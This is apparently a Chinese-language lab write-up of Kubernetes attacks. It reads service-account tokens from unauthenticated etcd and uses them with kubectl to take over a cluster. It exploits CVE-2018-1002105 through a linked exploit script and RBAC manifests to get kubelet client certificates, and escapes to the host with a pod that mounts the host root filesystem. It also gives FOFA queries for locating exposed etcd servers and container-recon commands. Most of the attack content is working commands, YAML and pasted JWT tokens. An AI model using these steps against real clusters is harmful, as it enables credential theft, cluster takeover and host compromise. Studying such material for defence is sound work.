首先安装etcdctl,在kali中,直接apt install etcd-client即可
etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://ip:2379/ get / --keys-only --prefix=true测试一下

image-20240104150302852

经过对几个大师傅的文章分析,这个etcd未授权漏洞,都是直接获取apiserver的token,然后去到6443端口接管整个集群
etcdctl –insecure-transport=false –insecure-skip-tls-verify –endpoints=https://ip:2379/ get / –keys-only –prefix=true
执行这个命令会显示很多pods,images和其他信息,我们需要筛选一下重要的
etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://ip:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole

image-20240104154342453

就可以看到这个pods了,
接下来直接etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://ip:2379/ get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-c2vnw把那个get后面的替换掉即可
image-20240104154543659

token就在下面
image-20240104154641021

kubectl –insecure-skip-tls-verify -s https://ip:6443 –token=”eyJhbGciOiJSUzI1NiIsImtpZCI6Ijc0dkliemNvaUFlcUdzeUV0VWxPYTBoTDdRZkNnbU5KYTRZUXRsVkRxVm8ifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLW50cGcyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI5Y2I0MGU3OC05NDllLTRhZTUtYWQ2OC1mNWU4MjVjNjg1YTAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.cJhYptSRTfI2SPTJBEMGvgmQQHTapQuUu7jJZbAlMzOiSJtaotjLZaQJo8DpoEbg0iTI_2CyC_vPqY0nj6dQyMdu5gV7nXJTJ-H5Po30-vP13bCSDesILPjP-gDMJfbrsB4RwYq_ngTnytm0MBC4k2ZBx2BH6mCXpQaGq_eU0ItmbZhKUmHSocp8AqaLsA_GAdtjhcl6whWvva1zQfWeHJ1tNrqrsmNVAXAeHQnBpJV72FFOtwi6oXryA0a4yV4QuMdYdhhEpS1fObN0_bTB7XasRB0CF9fWuKEgE4FPaUHeq2KV3CHf2Y9JhF3pI3SmQlBZ7G2kGLLB3UYViFa-Pw” -n kube-system get pods

eyJhbGciOiJSUzI1NiIsImtpZCI6Ijc0dkliemNvaUFlcUdzeUV0VWxPYTBoTDdRZkNnbU5KYTRZUXRsVkRxVm8ifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLW50cGcyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI5Y2I0MGU3OC05NDllLTRhZTUtYWQ2OC1mNWU4MjVjNjg1YTAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.cJhYptSRTfI2SPTJBEMGvgmQQHTapQuUu7jJZbAlMzOiSJtaotjLZaQJo8DpoEbg0iTI_2CyC_vPqY0nj6dQyMdu5gV7nXJTJ-H5Po30-vP13bCSDesILPjP-gDMJfbrsB4RwYq_ngTnytm0MBC4k2ZBx2BH6mCXpQaGq_eU0ItmbZhKUmHSocp8AqaLsA_GAdtjhcl6whWvva1zQfWeHJ1tNrqrsmNVAXAeHQnBpJV72FFOtwi6oXryA0a4yV4QuMdYdhhEpS1fObN0_bTB7XasRB0CF9fWuKEgE4FPaUHeq2KV3CHf2Y9JhF3pI3SmQlBZ7G2kGLLB3UYViFa-Pw

这里经过测试,发现clusterrole-aggregation-controller-token-c2vnw的权限是很小的,如果远程打,是获取不到pods的,403。

image-20240104162713928

当然,如果机器安装了dashboard,也可以获取面板的token
image-20240104163233783

image-20240104163304042

面板的token也是不可以的。

image-20240104163501532

经过分析其他大师傅的文章,这里不放放个其他大师傅的图了,仔细查看会发现他们打的时候,都是打的本机,也就是127.0.0.1,或者本机的内网地址,这是能够打通的.emmmmm,如果是内网,这样的话就不用那么麻烦了,如下图

image-20240104164034626

这里的话,还可以看看其他pods,这里经过测验,直接匹配admin即可

image-20240104165552558

找这种带secert的,大概率就是有权限的,再去请求,就可以

image-20240104165844883

image-20240104165820101

1
2
3
4
5
6
7
8
9
10
11
#获取某个pods信息
etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://ip:2379/ get --keys-only --prefix=true "/" | grep dashboard
#获取某个podsadmin信息
etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://ip:2379/ get --keys-only --prefix=true "/" | grep admin
#获取token
etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://ip:2379/ get /registry/secrets/kubernetes-dashboard/admin-user-token-h9sqp
#接管集群
kubectl --insecure-skip-tls-verify -s https://ip:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6Ijc0dkliemNvaUFlcUdzeUV0VWxPYTBoTDdRZkNnbU5KYTRZUXRsVkRxVm8ifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJhZG1pbi11c2VyLXRva2VuLWg5c3FwIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImFkbWluLXVzZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkODliYzBmNi01YzlmLTQ1YWItYTAyYi1hZGIyZjJhZGE5MjEiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZXJuZXRlcy1kYXNoYm9hcmQ6YWRtaW4tdXNlciJ9.YU547FavovN-pugK8Oe4tJ9bLpmv8VKIMBumqHEnqaB8Y4cJkQrvkYcgPaRFMDFizK75i8wTSTMxU4U2lQ4Jhl_GY_5jQ-zYvt5z8IY3azGiiOOD-Q38HpYZjPuzJWnopp6ROuSvJGT-ynPopl9xhKCcuZjAfuzYkx8wBu856-6wWUbnndF_GVtz9QrjUHysNHIDa2ECA4cCFVmZtjFlY9108lS6GIuIlhDs7089o-3odDL5tVEdd8yMilHW7Vrb5QxWpEUDRd99meKPohtv4LhzJdJTZ3SD9PRRZFGkIU-PGjyrwgub9uaI4R7vXlSwVqV_PpnfGZnPUSom4I4UDg" -n kube-system get pods

#某个pods执行命令
kubectl --insecure-skip-tls-verify -s https://ip:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6Ijc0dkliemNvaUFlcUdzeUV0VWxPYTBoTDdRZkNnbU5KYTRZUXRsVkRxVm8ifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJhZG1pbi11c2VyLXRva2VuLWg5c3FwIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImFkbWluLXVzZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkODliYzBmNi01YzlmLTQ1YWItYTAyYi1hZGIyZjJhZGE5MjEiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZXJuZXRlcy1kYXNoYm9hcmQ6YWRtaW4tdXNlciJ9.YU547FavovN-pugK8Oe4tJ9bLpmv8VKIMBumqHEnqaB8Y4cJkQrvkYcgPaRFMDFizK75i8wTSTMxU4U2lQ4Jhl_GY_5jQ-zYvt5z8IY3azGiiOOD-Q38HpYZjPuzJWnopp6ROuSvJGT-ynPopl9xhKCcuZjAfuzYkx8wBu856-6wWUbnndF_GVtz9QrjUHysNHIDa2ECA4cCFVmZtjFlY9108lS6GIuIlhDs7089o-3odDL5tVEdd8yMilHW7Vrb5QxWpEUDRd99meKPohtv4LhzJdJTZ3SD9PRRZFGkIU-PGjyrwgub9uaI4R7vXlSwVqV_PpnfGZnPUSom4I4UDg" exec -n metarget -it thinkphp-5-0-23-rce-web-7bb696c45b-x5z9k sh

image-20240104171320120

实战利用

先记个fofa语法吧,就不实战利用了,没有授权,害怕。

1
2
fofa语法: Etcd && port="2379"
fofa语法: Etcd && port="2379" && country="CN" //搜中国这边etcd协议并且是2379端口的ip/域名

总的来说,etcd的未授权漏洞感觉在实战中碰到会很少,为什么这样说呢,因为这个漏洞存在是因为改了面板的一个配置,而这个配置,可能很少管理员会改,因为没有发现有啥动机能改这个配置。

历史apiserver提权漏洞(CVE-2018-1002105)

CVE-2018-1002105是一个K8s提权漏洞,Kubernetes用户可以在已建立的API Server连接上,打通了client到kubelet的通道,实现提升k8s普通用户到k8s api server的权限。

漏洞影响版本:
  • Kubernetes v1.0.x-1.9.x
  • Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11)
  • Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5)
  • Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3)

image-20240105101906393

漏洞利用条件:

参考https://www.geekby.site/2021/11/k8s%E5%AE%89%E5%85%A8/#3-k8s-%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E---cve-2018-1002105

k8s正常请求执行的链路是 client --> apiserver --> kubelet

即 client 首先对 apiserver 发起请求,例如发送请求 [连接某一个容器并执行 exec] ,请求首先会被发到 apiserver,apiserver 收到请求后首先对该请求进行认证校验,如果此时使用的是匿名用户,api server 上是可以通过认证的,但会授权失败,即 client 只能走到 apiserver 而到不了 kubelet 就被返回 403 并断开连接了。

所以本次攻击的先决条件是,需要有一个可以从 client 到 apiserver 到 kubelet 整个链路通信认证通过的用户。且要知道token,也就是那个csv里的文件password。
有些文章写的是获取到一个主机的root权限,然后笔者就以为如果拿到一个shell是root权限即可,其实不是。准确的来说是有一个低权限的pod命令执行的权限,还有token密码。这个密码的作用是鉴权准备好的pods的,但是不饿能访问其他pods,来实现越权。

漏洞利用:

https://github.com/Metarget/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# cve_2018_1002105_pod.yaml

apiVersion: v1
kind: Pod
metadata:
name: test
namespace: test
spec:
containers:
- name: ubuntu
image: nginx:1.14.2
imagePullPolicy: IfNotPresent
# Just spin & wait forever
command: [ "/bin/bash", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
serviceAccount: default
serviceAccountName: default

# cve_2018_1002105_namespace.yaml
apiVersion: v1
kind: Namespace
metadata:
name: test

# cve_2018_1002105_role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: test
namespace: test
rules:
- apiGroups:
- ""
resources:
- pods
verbs:
- get
- list
- delete
- watch
- apiGroups:
- ""
resources:
- pods/exec
verbs:
- create
- get



# cve_2018_1002105_role_binding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test
namespace: test
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: test
subjects:
- apiGroup: rbac.authorization.k8s.io
kind: Group
name: test

kubectl apply -f cve_2018_1002105_namespace.yaml
kubectl apply -f cve_2018_1002105_role.yaml
kubectl apply -f cve_2018_1002105_rolebinding.yaml
kubectl apply -f cve_2018_1002105_pod.yaml

image-20240105105544003

这里都配置完成之后,也可以安装完成,但是测试请求的时候,报这个没有找到ubuntu容器,不知道为啥
image-20240105145031836

看了一下,好像真的没有。

image-20240105145248308

这里要注意,笔者在这里搭建环境的时候,发现,这个pod文件如果image写 image: ubuntu:latest,是起不来环境的,把image换成上面的image: nginx:1.14.2,这样就可以起来了

image-20240105154754259

简单记录一下思路吧。就是获取到一个pod权限后,使用https://github.com/Metarget/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/exploit.pyj脚本打,填写一些信息,

这里在使用exploit.py的时候,没有一个叫http_parser的库

aceback (most recent call last):
File “/tools/others/exp.py”, line 15, in
from http_parser.parser import HttpParser
ModuleNotFoundError: No module named ‘http_parser’

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File “/tools/others/exp.py”, line 17, in
from http_parser.pyparser import HttpParser
ModuleNotFoundError: No module named ‘http_parser’

在kali上面装半天没有装上,索性直接去我的ecs上装了一下,ecs ubuntu20
image-20240105153827456

https://github.com/benoitc/http-parser/项目地址,安装完成后,就可以用了,

python3 exploit.py --target 172.16.214.18 --port 6443 --bearer-token password --namespace test --pod test
就可以获取到三个证书文件,
有了这三个证书文件,直接就可以直接创建pods,
创建pods的

image-20240105155009473

并且脚本已经把命令给好了,直接打即可,
kubectl --server=https://ip:6443 --certificate-authority=ca.crt --client-certificate=apiserver-kubelet-client.crt --client-key=apiserver-kubelet-client.key get pods -n kube-system

image-20240105160748881

拿到三个文件,就相当于,接管了整个集群了,接着上面的任意podsrce即可。

k8s逃逸

有了apiserver的权限就可以逃逸了,主要思路就是,有了apiserver权限,就可以创建pods,在创建的时候,直接把宿主主机的根目录映射出来。下面是创建pods的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#推荐把那个镜像换掉,这里不太清楚为什么拉去不到啊
# attacker.yaml
apiVersion: v1
kind: Pod
metadata:
name: attacker
spec:
containers:
- name: ubuntu
# image: ubuntu:latest
image: nginx:1.14.2
imagePullPolicy: IfNotPresent
# Just spin & wait forever
command: [ "/bin/bash", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumeMounts:
- name: escape-host
mountPath: /host-escape-door
volumes:
- name: escape-host
hostPath:
path: /

image-20240105161604796

打的时候一定要把路径对齐。

1
2
3
kubectl --server=https://ip:6443 --certificate-authority=ca.crt --client-certificate=apiserver-kubelet-client.crt --client-key=apiserver-kubelet-client.key --namespace=default exec -it attacker id

kubectl --server=https://ip:6443 --certificate-authority=ca.crt --client-certificate=apiserver-kubelet-client.crt --client-key=apiserver-kubelet-client.key --namespace=default exec -it attacker sh

image-20240105162100408

kubectl --server=https://ip:6443 --certificate-authority=ca.crt --client-certificate=apiserver-kubelet-client.crt --client-key=apiserver-kubelet-client.key --namespace=default exec -it attacker id

image-20240105163047960

靶机上看一眼

image-20240105163129394

参考https://teamssix.com/220324-161756.html#toc-heading-1
因为这里还是还是

总结

这里其实可思考,在实战中可能出现这种情况的概率非常小,在k8s1.11版本发行的时间为2018年,那么也就是说,在这之后的都不可以了,2018年距今已经6年了,还有一个条件就是,要提前获取到一个pods的低执行权限,从才能下载到三个证书文件。

实战中的一些命令

总体看k8s的一些cve的漏洞,除了那几个未授权,利用条件似乎都比较苛刻。
在实战中,基本上是先拿到一个pods的shell,然后在进行一系列的操作比较多。

当我们获取了一个容器的 shell,首先执行 cat /proc/1/cgroup 是重要的。

image-20240110111406947

出现这个kubepods,就是使用k8s进行编排的。

1
2
3
4
5
6
7
8
9
env | grep KUBE
ls -l /run/secrets/kubernetes.io/
df -h
cat /etc/resolv.conf
cat /etc/mtab
cat /proc/self/status
cat /proc/self/mounts
cat /proc/net/unix
cat /proc/1/mountinfo

image-20240110112309832

查看当前环境是否为容器 cat /proc/1/cgroup看回显结果中是否有docker(这个方法一般要比ls /.dockerenv要准确,实测有些容器根目录下确实没有.dockerenv)

特权模式判断

特权模式逃逸是一种最简单有效的逃逸方法,攻击者可以通过挂载宿主机目录到容器某个目录下,直接通过命令、写ssh公钥和crontab等getshell。

创建容器时通过添加–privileged=true参数,将容器以特权模式起动

特权模式起的容器,实战可通过cat /proc/self/status |grep Cap命令判断当前容器是否通过特权模式起(0000001fffffffff代表为特权模式起)

不是

image-20240111172526199

简单的判断,也可以使用磁盘挂载命令判断。
df -l ,mount

致谢

最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。

参考
1
2
3
4
5
6
7
8
9
10
11
12
13
K8s etcd未授权访问    https://www.wangan.com/p/11v748294758597c
浅谈 Kubernetes 安全风险 Part.1 http://wjlshare.com/archives/1744
【云安全】k8s 提权漏洞 CVE-2018-1002105 学习 https://teamssix.com/220324-161756.html#toc-heading-5
https://woj.app/7776.html
https://zone.huoxian.cn/d/1153-k8s
https://mp.weixin.qq.com/s/NwyY0MYZRSywsUe-rGytjg
https://www.cnblogs.com/haidragon/p/16843374.html
华为云CTF cloud非预期解之k8s渗透实战 https://annevi.cn/2020/12/21/%e5%8d%8e%e4%b8%ba%e4%ba%91ctf-cloud%e9%9d%9e%e9%a2%84%e6%9c%9f%e8%a7%a3%e4%b9%8bk8s%e6%b8%97%e9%80%8f%e5%ae%9e%e6%88%98/
https://blog.csdn.net/w1590191166/article/details/122028001
kubernetes 查看所有namespace、默认的namespace https://blog.csdn.net/u013288190/article/details/109674360
https://xz.aliyun.com/t/12921#toc-2
k8s之apiserver组件风险 https://zone.huoxian.cn/u/48984
https://tttang.com/archive/1389/#toc_api-server